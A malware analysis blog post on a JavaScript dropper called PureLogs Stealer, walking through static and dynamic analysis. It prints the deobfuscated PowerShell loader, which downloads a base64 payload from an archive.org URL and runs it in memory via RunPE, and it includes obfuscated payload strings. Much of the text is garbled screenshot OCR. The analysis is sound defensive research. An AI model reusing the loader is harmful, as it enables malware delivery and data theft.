Malware Analysis - PXRECVOWEIWOEI

mandarnaik016.in/blog/2024-09-21-malware-analysis-pxrecvoweiwoei/



In this post, We will do malware analysis and reverse engineering on a sample called **PXRECVOWEIWOEI** (AKA PureLogs Stealer).

The source of the sample is

hxxps[://]bazaar[.]abuse[.]ch/sample/574403dce45be3a5edec18e66f16fef5e013ce99c771347 9ab67c11e6f472330/#intel

Static Analysis

Let's get the hash of the file first.

SHA256: 574403DCE45BE3A5EDEC18E66F16FEF5E013CE99C7713479AB67C11E6F472330

On <u>VirusTotal</u>, the file is detected as malicious by 25 engines.



The sample opened in notepad++ looks full of long strings assigned to variables with extremely long names.



The variables seem to be added purposely to distract us from the actual investigation point. The occurrence of variables is only one for each, meaning they are declared with strings but never used.

Find						×
Find Repla	ace Find in Files	Find in Projects	Mark			
Eir	nd what: zfcLhKKk	(beuLPfLCSangiLIF	UPiKjfhKA	AqkGZPWoNGt 🗸	Find Next	
					Coun <u>t</u>	
				In selection	Find All in Current Document	
🗌 Backwar 🗌 Match <u>w</u>	rd direction whole word only				Find All in All Opened Documents	
Match <u>c</u>	ase				Close	
vvra <u>p</u> ar	round				-	
Search Mod	je				Iransparency	
⊖ E <u>x</u> tende	ed (\n, \r, \t, \0, \x)				
○ Re <u>q</u> ular	expression	matches newline				
						~
Count: 1 mate	ch in entire file					

After ignoring them, we see some interesting variables that have been used repeatedly.

	C:\Users\Admin\Desktop\574403dce45be3a5edec18e66f16fef5e013ce99c7713479ab67c11e6f472330.js - Notepad++ [Administrator]																	
Fi	le	Edit	Search	View	Encoding	Language	Settings	Tools	Macro	Run	Plugins	Window	?					
G	6		۵.	۵ 🖨	à 🚜 🐚	n 🔊	: # ¹ *	1 🔍	۱ 🖻	-	= 1	厞 🕫 🐹	10	£1 🗉) 👁 [•	10	

574403dce4	15be3a5edec18	8e66/16/ef5e013ce99c7713479ab67c11e66472330.js 🔯
1120	- }	
1121	L}	
1122		
1123		<pre>var indeterminadamente = "* 3 % e #";</pre>
1124		var tonta =
		"-AQXACCA18WJASCADEMINMUNDADQRADEAVBASAMHINQBAJASCADBINASEAFEQDADEAOBWCAREANAIAGCAAGAJAACASBQKACCANAWJAWCADAQMACDADBQMACDADBQMASEADEMUNDASADEADEAWEADB WKAEDAXAQMA0FASBQYAGGADBWMAGCADAQZAMEAHBADAAFA1BgUA4CADAQOAMDADBGUAEGADBWQASFADBWKA4EAJBGUAQCATBAWAWCANAGDAIBAKBWJAGCA1BWQAEGASBAUAUGASBGIAKCANAWCAKCANAWCAKA CCADAGDAJETANAWKACCANBWDAQCAMBAGAAGANAWKACCADBQYAMEAIBAZACGADBWQASFADBWKA4EAJBGUACCAT";
1125		tonta +=
		"AwJADEByAWMAMHAEDQ2ACCAFAwJAMGAYBGCAAFAUBQ5AQGAKBQQACCAFAwJA4CACE95AWCAUBQQACCAFAwJADEBAAKKACCAYBwJA5CAnAAZAEGAnAwKAcCA2BQAAQHAhBwcAUGAkBgDAcCAFAwJAFEAKBA IAwCAgAwJA5CAnAgDATEAKBwbAQGAABgdAkGADBQYAMHAnAwKAcCADBAZAcCAFAwJA4GACBGSAcCAFAwJAACASAAIAcCAAFAWJA4GAnawKAcCACBw CAFAwJAEGAEBQZAQGAUBgQACEAgAwJA5CAnAALAACAUBwJA5CAnAgQAOEAnawKAcCAOBdAQHAWBwJA5CAnAACASATIAcCAAFAWJA4GAnawKAcCACBwJA5CAnAgSA8GAkBQYAYHAnawKAcCAQBwJA5CAn
1126		tonta +=
		"wLacCarAwJAAHAIJGYAOCAyAQNAUGANAWKACCAJBwJASCANAQOAIGAIBGMACCArAwJAMDAZQJAUDAOJAwJASCANAAZAADAjBwJASCANAGYACCArAwJABDAIBQNACDAwAQYAIDAAAwAJASCANAWAUDANAWK AcCAOAwMAIGASAwMAcCArAwJA4CANAWKACCAJBwJASCANAgMA4CANAWKACCAKBQZAYHANAWKACCAYAQDACCArAwJABGANAWKACCAjBwDA4GAlBgLAQHA4BwJASCANAAGAAGABWJASCANAGMAGA ArAwJAOFADbwJAsCANAMAMGANAWKACCAIBgAAIGANAWKACGAKBWMAACASADAwGAIBGDAWBAKBWDAGAIBwAABGARBWJASCANAGYAACCAjBwDA4GA
1127		tonta +=
		"JASCANAGDALESUNAZASGAOBAAUUGALBATAQGAVBWOAKCAUBGQAOEAJBWJASCANAQQAYFANAKACCAUBGQAOEACAAZASGGAOBACAAUGANBWGACCANBWGACCAEAWJAUGANBWGACAEAUJAUGANBWGACAEAUJAUGANBWGACAEAUJAUGANBWGACCAEAWJAUGANBWGACAEAUJAUGANBWGACCAEAWJAUGANBWGACAEAUJAUGANBWGACAEAUJAUGANBWGACAEAUJAUGANBWGACCAEAWJAUGANBWGACCAEAWJAUGANBWGACCAEAWJAUGANBWGACCAEAWJAUGANBWGACCAEAWJAUGANBWGACCAEAWJAUGANBWGACCAEAWJAUGANBWGACCAEAWJAUGANBWGACCAEAWJAUGANBWGACCAEAWJAUGANBWGACCAEAWJAUGANBWGACCAEAWJAUGAUNGAUNGAUNGAUNGAUNGAUNGAUNGAUNGAUNGA
1128		tonta +=
		"ACCARAWAIGATBQZAMHANAWKACCAREQYACCARAWJAWEANAWKACCAKEMWAAACASPAWASCANAHUGAMEWJASCANAQEAMAMWAASCANAAZABGANAWKACCAYBAWAASCANAQZAQHANAWKAC CAUBWJASCANAWAACCARENYATMEA5EMJASCANAQACATAWJABGAMAWKACCABYAUGANAWKACCAMEWJASCANAQZACKARWJABGAOAZACCARAWJAEGANAWKACCAYBATAODA6AWJASCANAQXAKHASBGYAACA AWJAOGANAWKACCAIBwcAMHABBGILA4GAYBWJASCANAQAAQHANAWKACCAjBQZAWGANAWKACCAMEWJASCANAQZACKARWJABGAOAZACCARAWJAEGANAWKACCAYBATAODA6AWJASCANAQXAKHASBGYAACCA AWJAOGANAWKACCAIBwcAMHABBGILA4GAYBWJASCANAQAAQHANAWKACCAjBQZAIFANAWKACCABBAIA";
1129		tonta +=
		"DDRGAWJASCANAQEACCATAWJAWGAIBWJASCANAQDAUGAZBWCABGAMBWJASCANAAZABGANAWKACCA/AQKAQHANBGZAQHAAWKACCAUBWDAMEANAWKACCA/BWJASCANAQDAGANAWKACCAZBQYAIGANAWKACCAZBQ AMBWJASCANAZACCALBWJABGAOAWZACCATAWJAGGDBGCACCATAWJAQHANAWKACCATBWJASCANAANAYDAIBWCACCATAWJAEGANAWKACCAZBQDAGGA QZAYHANAWKACCALBWHAWEALUQDACCATAWJAUGANAWKACCADBWCACCATAWJAKHACCATBWJASCANAANAYDAIBWCACCATBWJABGGANAWKACCAZBQDA
1130		tonta +=
		"CATAWJAQHAUBWAMEAnAWKACCABBgCAEGAUBWJASCANAQAAI GAMBAZACCATAWJA8GA7QKWAGA9QdAwEAKBWAAgCANBWJASCANAQAAACAABWJASCANAAAMFAKBQYACCATAWJA8GASBWJASCA NAqbacHABAA4CANAWKACCADAAAACATAWJAAGA1EQAACCATAWJAWGADBGYAUGAXBJAQHANAWKACCAHBQZAQHAZBWJASCANAQAAMFANAWKACCABBW LACHALBgTAgCANAWKACCADAWJASCANAQAACAAAWKACCABBDAACCATAWJAUGADBgDA8GADBANAYDALBwcAKGCABBQZAQHAZBWJASCANAQAAMFANAWKACCABBWJASCANAQAAMFANAWKACCABBU
1131		tonta +=
		"AIBATAQGAVBWJASCANAWOACCARAWJAGACBWJASCANAGSAQHA4BWJASCANAAdA4CAKEQZAQHAVBGTAGAhBAdAUGAEBWLAOGALAQZAQHAVBGDA0CAoBQYACCARAWJAQHAIBWJASCANAAZA8CAZBWJASCAN
JavaScript file		
	a 1897	د. <u>همان 12323 مع</u> د المحمد المحم

Let's evaluate the variables.



The variables are interconnected. i.e. the variable *tonta* is used in variable *aligulado*, inturn that variable is used in *publicista*. We are going to focus on the content of *publicista*. We can see a base64 string, after decoding it.



The decoded base64 is a powershell script that is gibberish. Let's evaluate the script to make it understandable.



After beautifying the script, we can connect the dots

```
$url = 'https://ia904601.us.archive.org/6/items/detah-note-j/DetahNoteJ.txt';
$base64Content = (New - Object System.Net.WebClient).DownloadString($url);
$binaryContent = [System.Convert]::FromBase64String($base64Content);
$assembly = [Reflection.Assembly]::Load($binaryContent);
$type = $assembly.GetType('RunPE.Home');
$method = $type.GetMethod('VAI');
$method.Invoke($null, [object[]]@('txt.enocam/ved.2r.39b345302a075b1bc0d45b632eb9ee62-bup//:sptth', 'desativado',
'desativado', 'desativado', 'AddInProcess32', 'desativado'));
```

The powershell script downloads the *DetahNoteJ.txt*, loads the content into a variable, then base64 decodes that content, eventually storing it in a variable called *\$assembly*. The result of the above script can be accessed via variable *\$OWjuxD* (I.e. base64 decode of *\$Codigo*).

Finally, the output is executed via a powershell.

Let's check the content of a file called *DetahNoteJ.txt*. (PSSS: Shouldn't the filename be DeathNote and not DetahNoteJ?)



After base64 decoding and checking the file type

🎓 From Base64, Detect File Type - 🗙						∽ - 63 ×
$\leftrightarrow \rightarrow \mathbf{C}$	file:///C:/Users/Ad	min/AppData/Local/Programs/reto	olkit/cyberchef/CyberChef_v10.5.2.html#rec	:ipe=From_Base64	4('A-Za-z0-9%2B/%3D'.true.false)Detect_File_Type(true.true.true.true.true.true.true.true.	ය ප =
- Import bookmarks						
Download CyberChef 🛓			Last build: A year ag	go - Version 10 is	here! Read about the new features here	Options 🏟 🛛 About / Support 🍘
Operations	, í	Recipe		8 🖿 🕯	Input	+ 🗅 🕀 🖀
Search		From Base64		⊘ 11	TVqQAAMAAAAEAAAA//8AALgAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAA	AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Favourites	*	Alphabet A-Za-z0-9+/=	🔹 🔽 Remove non-alpha	abet chars		
Data format						
Encryption / Encoding		Strict mode				, 🛄
Public Key		Detect File Type		⊘ 11		Name: DetahNoteJ.txt
Arithmetic / Logic						Size: 2.826,240 bytes Type: unknown
Networking		🗹 Images 🗹 Video	Audio 🗹 Documents 🗹 /	Applications		Loaded: 100%
Language		Archives	Miscellaneous		me 2826240	The Raw Bytes ← LF
Utils					Output	C 🖬 🗍 🖬
Date / Time					File type: Windows Portable Executable	
Extractors					MIME type: application/vnd.microsoft.portable-executable	
Compression						
Hashing						
Code tidy						
Forensics						
Multimedia			PAKEI	~		
Other		SIEP	A DAKL!	Auto Bake	me 153 = 4	③ 216ms Tr Raw Bytes ← LF
🕂 📁 🕜 🖭 📔	4					^ ■ € <0) 9:16:23 AM 9/20/2024 🖣

Now we can check the compiler or packer used to compile or protect the program; we can use *DIE* for this.

Detect lt Easy v3.08 [Windows 10 Version 2009] (x86_64)	•	0
File name > C:\Users\Admin\Desktop\download.exe.bin		
File type File size PE32 2.02 MiB		Advanced
Scan Endianness Mode Architecture Automatic LE 32-bit I386	Type DLL	
 PE32 Operation system: Windows(95)[I386, 32-bit, DLL] Compiler: VB.NET Library: .NET(v4.0.30319) Linker: Microsoft Linker 	S ? S ? S ? S ?	Shortcuts
		Options
Signatures 🗸 Recursive scan 🖌 Deep scan 🗌 Heuristic scan 🖌 Verbose		About
Directory 100% > Log All types 550 mse	ec Scan	Exit

Dynamic Analysis

The sample is compiled in .NET without any packer or crypter used. we can directly decompile it using *dnSpy*

File Edit Virew Debug Window Help 🕒 Egit 🕘 C# - 9 🖓 🍆 Start 🔎 Assembly Explorer 🔹 X System Detailing (40.00) X	
Assembly Explorer + × System.Distaling (40.00) ×	
<pre>1 // Clusterstelling // Clusterstelling // // // Clusterstelling // // // // // // // // // // // //</pre>	4 Lints 2900 900b
	5

After a night with tea by my side, I was not able to understand the logic behind few variables, and was not able to decrypt them either. Let's directly execute the sample.

File Edit Event Filter Tools Options Help						
6 🛱 🔊 🗟 🖉 ∀ ♥ 🎯 🎄 🌶 Q 🗡 🖬 😭 못 🎕 🕰						
Time of Day Process Name PID Operation	Path	Result	Detail			
9:41:08.3575799 AM Appowershell.exe 3580 🖏 Process Start		SUCCESS	Parent PID: 1672, Command line: powershell -command \$Codigo			
9:41:08.3575949 AM 🖉 powershell.exe 3580 🖏 Thread Create		SUCCESS	Thread ID: 2896			
9:41:08:3596505 AM 🗷 powershell.exe 3580 🐴 Load Image	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	SUCCESS	Image Base: 0x7ff719e10000, Image Size: 0x7c000			
9.41.08.3596787 AM Zpowershell.exe 3580 🕰 Load Image	C:\Windows\System32\vitdl.dll	SUCCESS	Image Base: 0x7ffe37c50000, Image Size: 0x1f8000			
9.41.08.3599339 AM Z powershell.exe 3580 🏭 RegOpenKey	HKLM\System\CurrentControlSet\Control\Session Manager	REPARSE	Desired Access: Query Value			
9:41:08.3599538 AM 22 powershell.exe 3580 HegUpenKey	HKLM\System\CurrentControlSet\Control\Session Manager UKLM\System\CurrentControlSet\Control\Session Manager	SUCCESS	Desired Access: Query Value			
9-41-09 2509027 AM Conversion even 2500 CT Regulary value	HKLM (System) Current Control Set (Control) Session Manager (has each epition on Possible Deadlock HKLM (System) Current Control Set (Control) Session Manager	SUCCESS	ND Lengen. so			
9.41.08.360105.6M Monowershall eve 3580 FF RenOvenKey	HKLM\SYSTEM\CurrentControlSet\ControlSession Manager	REPARSE	Desired Access: Query Value			
9.41.08.3600248 AM Z powershell exe 3580 TH BenOpenKey	HKI M\Svstem\CurrentControlSet\Control\Session Manager\Segment Heap	NAME NOT FOUR	ND Desired Access: Query Value			
9.41.08.3600879 AM 🔎 powershell.exe 3580 🇰 RegOpenKey	HKLM\SYSTEM\CurrentControlSet\Control\Session Manager	REPARSE	Desired Access: Query Value, Enumerate Sub Keys			
9:41:08:3601049 AM 🗾 powershell.exe 3580 🌐 RegOpenKey	HKLM\System\CurrentControlSet\Control\Session Manager	SUCCESS	Desired Access: Query Value, Enumerate Sub Keys			
9:41:08.3601280 AM 💹 powershell.exe 3580 🌐 RegQueryValue	HKLM\System\CurrentControlSet\Control\Session Manager\ResourcePolicies	NAME NOT FOUR	ND Length: 24			
9:41:08.3601430 AM 🜌 powershell.exe 3580 🌐 RegCloseKey	HKLM\System\CurrentControlSet\Control\Session Manager	SUCCESS				
9.41.08.3606536 AM 💹 powershell.exe 3580 📅 Create File	C:\Users\Admin\Desktop	SUCCESS	Desired Access: Execute/Traverse, Synchronize, Disposition: Op			
9.41.08.3607753 AM Z powershell.exe 3580 20 Load Image	C:\Windows\System32\kernel32.dl	SUCCESS	Image Base: 0x/Me35cb0000, Image Size: 0xbf000			
9.41.08.3603672 AM 2 powershell.exe 3580 46 Load Image	C:\Windows\System32\Kemelbase.dl	SUCCESS	Image Base: 0x /fte355 /0000, Image Size: 0x26000			
9.41.09.2020024.4M Provension and 2000 Hegudery Value	HKLM/System/CurrentControlSet/Control/W/MI/Security/Sc/4atb3-adaz-44e3-absadr4a3aza	DEDADCE	NU Length: 528			
9-41-02 2620201 AM Convertibilities 2500 CF RegOreo Key	HKLM (System / Current Control Set / Control / State Separation / Heurecountiliap (Veys	NAME NOT FOUR	ND Desired Access: Read			
9:41:08 3630652 AM Conversibilities 3500 CH RenCherry/alue	HKLM System/CurrentControlSet/Control/WMI/Security/0695efe/#75.49e7.a994.60a55cc/09571	NAME NOT FOUR	ND Length: 528			
9:41:08 3632360 AM Z powershell exe 3580 TH BenQuery Value	HKI M\Svatem\CurrentControlSet\Control\WMI\Security\e36c4458ed80-4ad7-a8be-52dda1eb9f1c	NAME NOT FOUR	ND Length: 528			
9.41.08.3636829 AM 🗾 powershell.exe 3580 🎹 RegOpenKey	HKLM\System\CurrentControlSet\Control\SafeBoot\Option	REPARSE	Desired Access: Query Value, Set Value			
9:41:08.3636994 AM 💹 powershell.exe 3580 🌐 RegOpenKey	HKLM\System\CurrentControlSet\Control\SafeBoot\Option	NAME NOT FOUR	ND Desired Access: Query Value, Set Value			
9:41:08.3637239 AM 💹 powershell.exe 🛛 3580 🌐 RegOpenKey	HKLM\System\CurrentControlSet\Control\Srp\GP\DLL	REPARSE	Desired Access: Read			
9:41:08.3637368 AM 🗾 powershell.exe 3580 🌐 RegOpenKey	HKLM\System\CurrentControlSet\Control\Srp\GP\DLL	NAME NOT FOUR	ND Desired Access: Read			
9.41.08.3637620 AM 💹 powershell.exe 3580 🌐 RegOpenKey	HKLM\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers	SUCCESS	Desired Access: Query Value			
9.41.08.3638056 AM Z powershell.exe 3580 III RegQueryValue	HKLM\SOFTWARE\Policies\Microsoft\Windows\safer\codeidentfiers\TransparentEnabled	NAME NOT FOUL	ND Length: 80			
9.41.08.3636286 AM Zapowershell.exe 3580 HeguloseKey	HKLM\SUFTWARE\Policies\Microsoft\Windows\safer\codeidenthers HKCID_Setures\Policies\Microsoft\Windows\Setex\Cedeidenthers	SUCCESS NAME NOT FOUR	ND Desired Assess Ocean Velue			
9:41:00.3043333 AM Z powershellexe 3500 H Regupenkey	HKLU/Software (Policies Microsoft /Windows /Safer/Lode/dentitiers HKLM/Software/Control Sat/Control/Ele/Software/	DEPADSE	Desired Access: Query Value			
9:41:08 3644616 AM A powershell eve 3580 60 RegOpenKey	HKI M\System\CurrentControlSet\Control\FileSystem	SUCCESS	Desired Access: Read			
9:41:08 3644826 AM Dowershell exe 3580 BeoQueryValue	HKLM\System\CurrentControlSet\Control\FileSystem\LonoPathsEnabled	SUCCESS	Type: REG_DWORD_Length: 4_Data: 0			
9.41.08.3645009 AM 🗾 powershell exe 3580 🗰 RegClose Key	HKLM\System\CurrentControlSet\Control\FileSystem	SUCCESS				
9.41.08.3647103 AM Z powershell.exe 3580 🙀 Load Image	C:\Windows\System32\msvcrt.dl	SUCCESS	Image Base: 0x7ffe379f0000, Image Size: 0x9e000			
9.41.08.3649567 AM 💹 powershell.exe 3580 🍪 Thread Create		SUCCESS	Thread ID: 700			
9:41:08.3650440 AM 💹 powershell.exe 3580 🍪 Load Image	C:\Windows\System32\oleaut32.dll	SUCCESS	Image Base: 0x7ffe375f0000, Image Size: 0xod000			
9.41:08.3651524 AM Z powershell.exe 3580 C Load Image	C:\Windows\System32\msvcp_win.dll	SUCCESS	Image Base: 0x7ffe354d0000, Image Size: 0x9d000			
9:41:08.3652465 AM 2 powershell.exe 3580 2 Load Image	C:\Windows\System32\ucrtbase.dl	SUCCESS	Image Base: 0x7ffe35870000, Image Size: 0x100000			
9.41.08.3654304 AM Z powershell exe 3580 KG Load Image	C:\Windows\System32\combase.dll	SUCCESS	mage Base: 0x7fe350d0000, Image Size: 0x354000			
9.41.09.20003333 AM Conversion and Conve	UKI MI SYSTEM/ Control Control Control Control Control Control	DEDADCE	Designed Assesses Octave Value, Encomparate Sub Kare			
9-41-08 3656379 AM Conversibilitexe 3580 CE RegOpenikey	HKLM (STSTEM Culteric Control Set (Control Session Manager	SUCCESS	Desired Access: Query Value, Enumerate Sub Keys			
9:41:08 3656556 AM A powershell eve 3580 60 RegOpening	HKLM/System/CurrentControlSet/Control/Session Manager/ResourcePolicies	NAME NOT FOUR	ND Length: 24			
9:41:08 3656853 AM 🖉 powershell exe 3580 🗰 BeoClose Key	HKLM\System\CurrentControlSet\Control\Session Manager	SUCCESS				
9:41:08:3660631 AM 🗾 powershell.exe 3580 🛱 Load Image	C:\Windows\System32\advapi32.dl	SUCCESS	Image Base: 0x7ffe36690000, Image Size: 0xaf000			
9.41.08.3662004 AM Zoowershell.exe 3580 🖏 Load Image	C:\Windows\System32\sechost.dll	SUCCESS	Image Base: 0x7ffe36920000, Image Size: 0x9c000			
9:41:08.3664388 AM 🔎 powershell.exe 3580 🖏 Thread Create		SUCCESS	Thread ID: 936			
9:41:08:3664914 AM 🖉 powershell.exe 3580 🍪 Load Image	C:\Windows\System32\ole32.dl	SUCCESS	Image Base: 0x7ffe377e0000, Image Size: 0x12a000			
9:41:08.3667952 AM powershell.exe 3580 🌐 RegOpenKey	HKLM\System\CurrentControlSet\Control\Session Manager	REPARSE	Desired Access: Query Value			
howing 20,125 of 255,331 events (7.8%) Backed by virtual memory						
# 🙋 🙍 🔤				^ ₪ ₿	(中)) 9:46:0 9/20/	0 AM 2024 🛛 🖥

🥃 -res-x54.tt - Notepad	•	() ()
File Edit Format View Help		
Regshot 1.9.0 x64 ANSI		1
Commercia: Datetime: 2024/9/20 16:49:46 , 2024/9/20 16:51:24		
Computer: DESKTOP-E3VCH2D , DESKTOP-E3VCH2D		
Username: Admin		
Keys added: 15		
HKU(S-1-5-21-1307/405066-4231961867-2609905288-1000/SOFTWARE/HUCrosoft/Wandows/CurrentVersion/Explorer/FileExtS/.hiv		
HKU\S-1-5-21-1307405066-4231961867-2609905208-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FileExts\.hiv\OpenWithList		
HRU(5-1-5-Z1-130/4090b6-4251961867-2609969248-1009(30) HWARE(NICrosoft)WINDOWS(LUrrentVersion(Explorer)KeckentDucs).hiv HRU(5-1-5-Z1-130/4090b6-4251961867-260996988-1009)SCHEMBER/WICrosoft)WINDOWS(LUrrentVersion(Explorer)KeckentDucs).hiv		
HKU\5-1-5-21-1307/405066-4231961867-26099905288-1000\5OFTMARE(Classes)Local Settings\Software\Microsoft\Windows\Shell\RegNRU\0\6		
HKU/S-1-5-21-1307405066-4231951867-26099052088-1000/SOFTWARE/Classes/Local Settings/Software/Microsoft/Windows/Shell/Bags/0		
HRU)5-1-5-21-38/248966-423196186/-2609995288-10001SOFLWARE\Classes\Local SettingSSoFtware\Microsoft\Windows\Shell\Bags\N/\ComUg HRU)5-1-5-1-3130248966-4231961867-269095788-10001SOFTWARE\Classes\Local SettingSSoFtware\Microsoft\Windows\Shell\Bags\N/\ComUg		
HWUS-1-5-21-1307485066-2431961867-2609985208-1000 (SOFTWARE(Lasses)Local Settings/Software/Wicrosoft/Windows/Shell/Bags/No/Lasses)Local Settings/Software/Wicrosoft/Windows/Shell		
HKU\S-1-5-21-1307405066-4231961867-26099905288-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMKU\0\6		
HKU\5-1-5-21-130/A05966-4231951867-26099508248-1000_[lasses\local Settings\Software/Nicrosoft\Windows\Shell\Uags\V6		
100(1) 1-5-21-1307495066-4231961867-2609995288-1000_Classes/Local Settings/Software/Witcrosoft/Windows/Shell/Bags/70/ComDig/70490726-3C21-4F05-99AA-FDC2C9474656}		
HKU\S-1-5-21-1307405066-4231961867-2609905208-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\70\Shell		
Values added: 37		
	10 41 00 4E 00 53 00 49 00 2E 00 1 00 00 00 00 00 00 00 00 00 00 00 0	65 00 78 10 00 00 0
HKU(5-1-5-21-1307405066-4231361867-2609905208-1000\50FTWARE\Microsoft\Windows\CurrentVersion\Explorer\ComDig32\LastVisitedFildMRU\6: 52 00 65 00 67 00 73 00 68 00 6F 00 74 00 20 00 78 00 36 00 34	1 00 2D 00 41 00 4E 00 53 00 49 0	00 2E 00 6
HKU\5-1-5-21-1307405066-4231961867-2609905208-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ComD1g32\OpenSavePid1MRU*\7: 14 00 1F 50 E0 4F D0 20 EA 3A 69 10 A2 D8 08 00 2B 30 30 9D 14	00 2E 80 3A CC BF B4 2C DB 4C 42	2 BØ 29 7F
HKU)5-1-5-21-38/4990b6-4233901867-2699905248-1009(30) HMARE/NICrOSOTE/WINDOWS(LUMPENTVERSION(EXPLOYER)COMUL[23/UpenSaverialHKU/N1/V]: 14 00 1/ 50 E 04 H U0 20 EA 3A 69 J U1 AZ U8 08 00 Z 80 30 9U 1 HKU)5-1-5-21-33/4950b6-4231901867-2699905248-1009(30) HMARE/NICrOSOTE/WINDOWS(LUMPENTVERSION(EXPLOYER)COMUL[23/UpenSaverialHKU/N1/V]: 14 00 1/ 50 E 04 H U0 20 EA 3A 69 J U1 AZ U8 08 00 Z 80 30 9U 1	.4 00 2E 80 3A CC BF B4 2C DB 4C	42 80 29
HKU(5-15-21-1307405066-4231961867-2609905208-1000/SOFTWARE/Wicrosoft/Windows/CurrentVersion/Explorer/RecentDocs/9: 66 00 67 20 07 73 00 74 00 2E 00 68 00 59 00 76 00 00 00 68 00 32 00 00 00 0	00 00 00 00 00 00 00 00 66 69 72	73 74 2E
HKU(5-1-5-21-130740506-4231951867-26099052208-1000(50THMARE/Hicrosoft/Windows/currentVersion/Explorer/RecentDocs/.hiv/0: 66 00 69 00 72 00 73 00 74 00 2E 00 68 00 69 00 76 00 00 00 68 00 32 00 00	00 00 00 00 00 00 00 00 00 00 66 6	59 72 73 7
HKUS-1-5-21-130/4090b6-423191867-2099905248-1009(SUPINARE/NICYOSOFT/WINDOWS/LUPPENTVERSION/EXPLOYER/NECENTUOS/.NIV/WINDISTEX: 00 00 00 00 HFFFFFFF	44 56 72 F6 90 88 19 28 F4 43	86 E5 98
HKU\5-1-5-21-1307405066-4231961867-2609905208-1000\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\0\6: 14 00 2E 80 92 28 16 D3 65 93 7A 46 95 68 92 70 3A CA 08 AF 00 00		
HKU/S-1-5-21-1307405066-4231951867-2609905208-1000/SOFTMARE/Classes\Local Settings\Software\Hicrosoft\Hindows\Shell\BgyRU/\06\HodeSlot: 0x00000046		
<pre>MRU(5-1-5-21-130/40906-42319106/-200995028-1000/SOFWARE(L13SES)(Local SettingS)SoFWARe(VICTOSOFTWIINDOWS)Shell/Bags/NRU(SOFWARE(A)) HKU(S-1-5-21-130/40506-4231961867-260995028-1000/SOFWARE(L13SES)(Local SettingS)SoFWARe(VICTOSOFTWIINDOWS)Shell/Bags/NRU(SOFWARE(A)) HKU(S-1-5-21-130/40506-4231961867-260995028-1000/SOFWARE(L13SES)Local SettingS)SoFWARE(VICTOSOFTWIINDOWS)Shell/Bags/NRU(SOFWARE(A)) HKU(S-1-5-21-130/40506-4231961867-260995028-1000/SOFWARE(L13SES)Local SettingS)SoFWARE(VICTOSOFTWIINDOWS)Shell/Bags/NRU(SOFWARE(A)) HKU(S-1-5-21-130/40506-4231961867-260995028-1000/SOFWARE(L13SES)Local SettingS)SoFWARE(VICTOSOFTWIINDOWS)Shell/Bags/NRU(SOFWARE(A)) HKU(S-1-5-21-130/40506-4231961867-26095028-1000/SOFWARE(L13SES)Local SettingS)SoFWARE(VICTOSOFTWIINDOWS)Shell/Bags/NRU(SOFWARE(A)) HKU(S-1-5-21-130/40506-4231961867-26-3(21-6495-90A)-FDC2(9474656)) HKU(S-1-5-21-130/40506-4231961867-26-3(21-6495-90A)-FDC2(9474656)) HKU(S-1-5-21-130/40506-4231961867-26-3(21-6495-90A)-FDC2(9474656)) HKU(S-1-5-21-130/40506-4231961867-26-3(21-6495-90A)-FDC2(9474656)) HKU(S-1-5-21-130/40506-4231961867-26-3(21-6495-90A)-FDC2(9474656)) HKU(S-1-5-21-130/40506-4231961867-26-3(21-6495-90A)-FDC2(9474656)) HKU(S-1-5-21-130/40506-4231961867-26-3(21-6495-90A)-FDC2(9474656)) HKU(S-1-5-21-130/40506-4231961867-26-3(21-6495-90A)-FDC2(9474656)) HKU(S-1-5-21-3(21-6495-90A)-FDC2(9474656)) HKU(S-1-5-21-3(21-6495-90A)-FDC2(9474656)) HKU(S-1-5-21-3(21-6495-90A)-FDC2(9474656)) HKU(S-1-5-21-3(21-6495-90A)-FDC2(9474656)) HKU(S-1-5-21-3(21-6495-90A)-FDC2(9474656)) HKU(S-1-5-21-3(21-6495-90A)-FDC2(9474656)) HKU(S-1-5-21-3(21-6495-90A)-FDC2(9474656)) HKU(S-1-5-21-3(21-6495-90A)-FDC2(9474656)) HKU(S-1-5-21-3(21-6495-90A)-FDC2(9474656)) HKU(S-1-5-21-3(21-6495-90A)-FDC2(9474656)) HKU(S-1-5-21-3(21-6495-90A)-FDC2(9474656)) HKU(S-1-5-21-4495-90A)-FDC2(9474656)) HKU(S-1-5-21-4495-90A)-FDC2(9474656)) HKU(S-1-5-21-4495-90A)-FDC2(9474656)) HKU(S-1-5-21-4495-90A)-FDC2(94746-90A)-FDC2(94746-90A)-FDC2(94746-90A)-FDC2(94746-90A)-FDC2(94746-90A)-FDC2(94746-90A)-FDC2(94</pre>		
HKU\5-1-5-21-1307405066-4231961867-2609905208-1000\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\70\ComDig\{7049D726-3C21-4F85-99AA-FDC2C9474656}\LogicalViewMode: 0x000000)1	
HKU\S-1-5-21-1307405066-4231961867-2609905208-1000\SOFTWARE\Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\70\ComDg\70490726-3C21-4F85-99AA-FDC2C9474656}\FFlags: 0x00000001		
	20 1009/ Minuteurs (CBLE) UTE	
	- 952	29 AM
	ヘ 🖽 🕬 🥠	V2024 1
<pre>remnux;-s sudo cat /var/log/inetsim/report.1421.txt Renort for session 1401</pre>		
Real start date : 2024-09-20 12:34:56		
Simulated start date : 2024-09-20 12:34:56 Time difference on startin - none		
2024-09-20 12:35:17 First simulated date in log file		
2024-09-20 12:35:1/ UNS connection, type: A, class: IN, requested name: google.com 2024-09-20 12:35:17 DNS connection type: A class: IN requested name: google.com		
2024-09-20 12:35:17 DNS connection, type: AAAA, class: IN, requested name: google.com		
2024-09-20 12:35:19 DNS connection, type: PTR, class: IN, requested name: 2.0.0.10 in-addr.arpa		
2024-09-20 12:35:19 UNS connection, type: PIK, class: IN, requested name: 251.0.0.224.1n-addr.arpa 2024-09-20 12:35:19 UNS connection, type: PIK class: IN, requested name: h 6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0		
2024-09-20 12:35:19 HTTP connection, method: GET, URL: http://google.com/, file name: /var/lib/inetsim/http/fakefiles/sample.html		
